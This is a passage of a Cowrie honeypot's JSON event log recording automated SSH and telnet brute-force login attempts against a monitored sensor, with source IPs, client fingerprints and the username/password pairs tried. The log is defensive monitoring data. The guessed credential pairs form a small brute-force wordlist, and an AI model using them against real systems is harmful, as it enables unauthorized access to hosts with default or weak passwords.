cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:15.379668Z","src_ip":"45.156.87.253","session":"9b0af63e400d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:15.466381Z","src_ip":"202.61.233.105","session":"b99a028773cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:15.620630Z","src_ip":"45.156.87.253","session":"9b0af63e400d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1ngx@S3cur3$","message":"login attempt [root/B1ngx@S3cur3$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:15.755941Z","src_ip":"202.61.233.105","session":"b99a028773cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:16.704190Z","src_ip":"45.156.87.253","session":"9b0af63e400d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:16.850430Z","src_ip":"202.61.233.105","session":"b99a028773cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38800,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ee094cb9931","protocol":"ssh","message":"New connection: 45.156.87.253:38800 (10.17.0.5:22) [session: 4ee094cb9931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:18.800206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:18.803976Z","src_ip":"45.156.87.253","session":"4ee094cb9931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:18.884363Z","src_ip":"45.156.87.253","session":"4ee094cb9931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:19.128565Z","src_ip":"45.156.87.253","session":"4ee094cb9931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:20.212106Z","src_ip":"45.156.87.253","session":"4ee094cb9931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53212,"dst_ip":"10.17.0.5","dst_port":22,"session":"2155852838fb","protocol":"ssh","message":"New connection: 45.156.87.253:53212 (10.17.0.5:22) [session: 2155852838fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:22.105994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:22.109828Z","src_ip":"45.156.87.253","session":"2155852838fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:22.189907Z","src_ip":"45.156.87.253","session":"2155852838fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:22.431492Z","src_ip":"45.156.87.253","session":"2155852838fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:23.515107Z","src_ip":"45.156.87.253","session":"2155852838fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53222,"dst_ip":"10.17.0.5","dst_port":22,"session":"15f5aaf6404e","protocol":"ssh","message":"New connection: 45.156.87.253:53222 (10.17.0.5:22) [session: 15f5aaf6404e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:25.414454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:25.417968Z","src_ip":"45.156.87.253","session":"15f5aaf6404e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:25.557369Z","src_ip":"45.156.87.253","session":"15f5aaf6404e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"modzmodz","message":"login attempt [admin1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:25.969343Z","src_ip":"45.156.87.253","session":"15f5aaf6404e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:27.053085Z","src_ip":"45.156.87.253","session":"15f5aaf6404e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53232,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5193c079d37","protocol":"ssh","message":"New connection: 45.156.87.253:53232 (10.17.0.5:22) [session: f5193c079d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:28.842812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:28.846318Z","src_ip":"45.156.87.253","session":"f5193c079d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:28.926427Z","src_ip":"45.156.87.253","session":"f5193c079d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:29.166811Z","src_ip":"45.156.87.253","session":"f5193c079d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:30.249720Z","src_ip":"45.156.87.253","session":"f5193c079d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51190,"dst_ip":"10.17.0.5","dst_port":22,"session":"21c5138d0e2b","protocol":"ssh","message":"New connection: 45.156.87.253:51190 (10.17.0.5:22) [session: 21c5138d0e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:32.063510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:32.067065Z","src_ip":"45.156.87.253","session":"21c5138d0e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:32.150029Z","src_ip":"45.156.87.253","session":"21c5138d0e2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:32.422827Z","src_ip":"45.156.87.253","session":"21c5138d0e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:33.505772Z","src_ip":"45.156.87.253","session":"21c5138d0e2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51206,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc5ea3c18fcf","protocol":"ssh","message":"New connection: 45.156.87.253:51206 (10.17.0.5:22) [session: dc5ea3c18fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:35.491101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:35.494636Z","src_ip":"45.156.87.253","session":"dc5ea3c18fcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:35.574912Z","src_ip":"45.156.87.253","session":"dc5ea3c18fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123","message":"login attempt [claude/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:35.817057Z","src_ip":"45.156.87.253","session":"dc5ea3c18fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:36.899782Z","src_ip":"45.156.87.253","session":"dc5ea3c18fcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.47.200.242","src_port":36062,"dst_ip":"159.203.135.109","dst_port":23,"session":"d02d74dcbd53","protocol":"telnet","message":"New connection: 14.47.200.242:36062 (159.203.135.109:23) [session: d02d74dcbd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:38.157441Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51222,"dst_ip":"10.17.0.5","dst_port":22,"session":"03dd76c1a79d","protocol":"ssh","message":"New connection: 45.156.87.253:51222 (10.17.0.5:22) [session: 03dd76c1a79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:38.802556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:38.806242Z","src_ip":"45.156.87.253","session":"03dd76c1a79d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:38.886565Z","src_ip":"45.156.87.253","session":"03dd76c1a79d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zlxx","message":"login attempt [root/zlxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:39.019520Z","src_ip":"14.47.200.242","session":"d02d74dcbd53","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"1234567890","message":"login attempt [fastuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:39.129266Z","src_ip":"45.156.87.253","session":"03dd76c1a79d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:06:39.935292Z","src_ip":"14.47.200.242","session":"d02d74dcbd53","protocol":"telnet"}
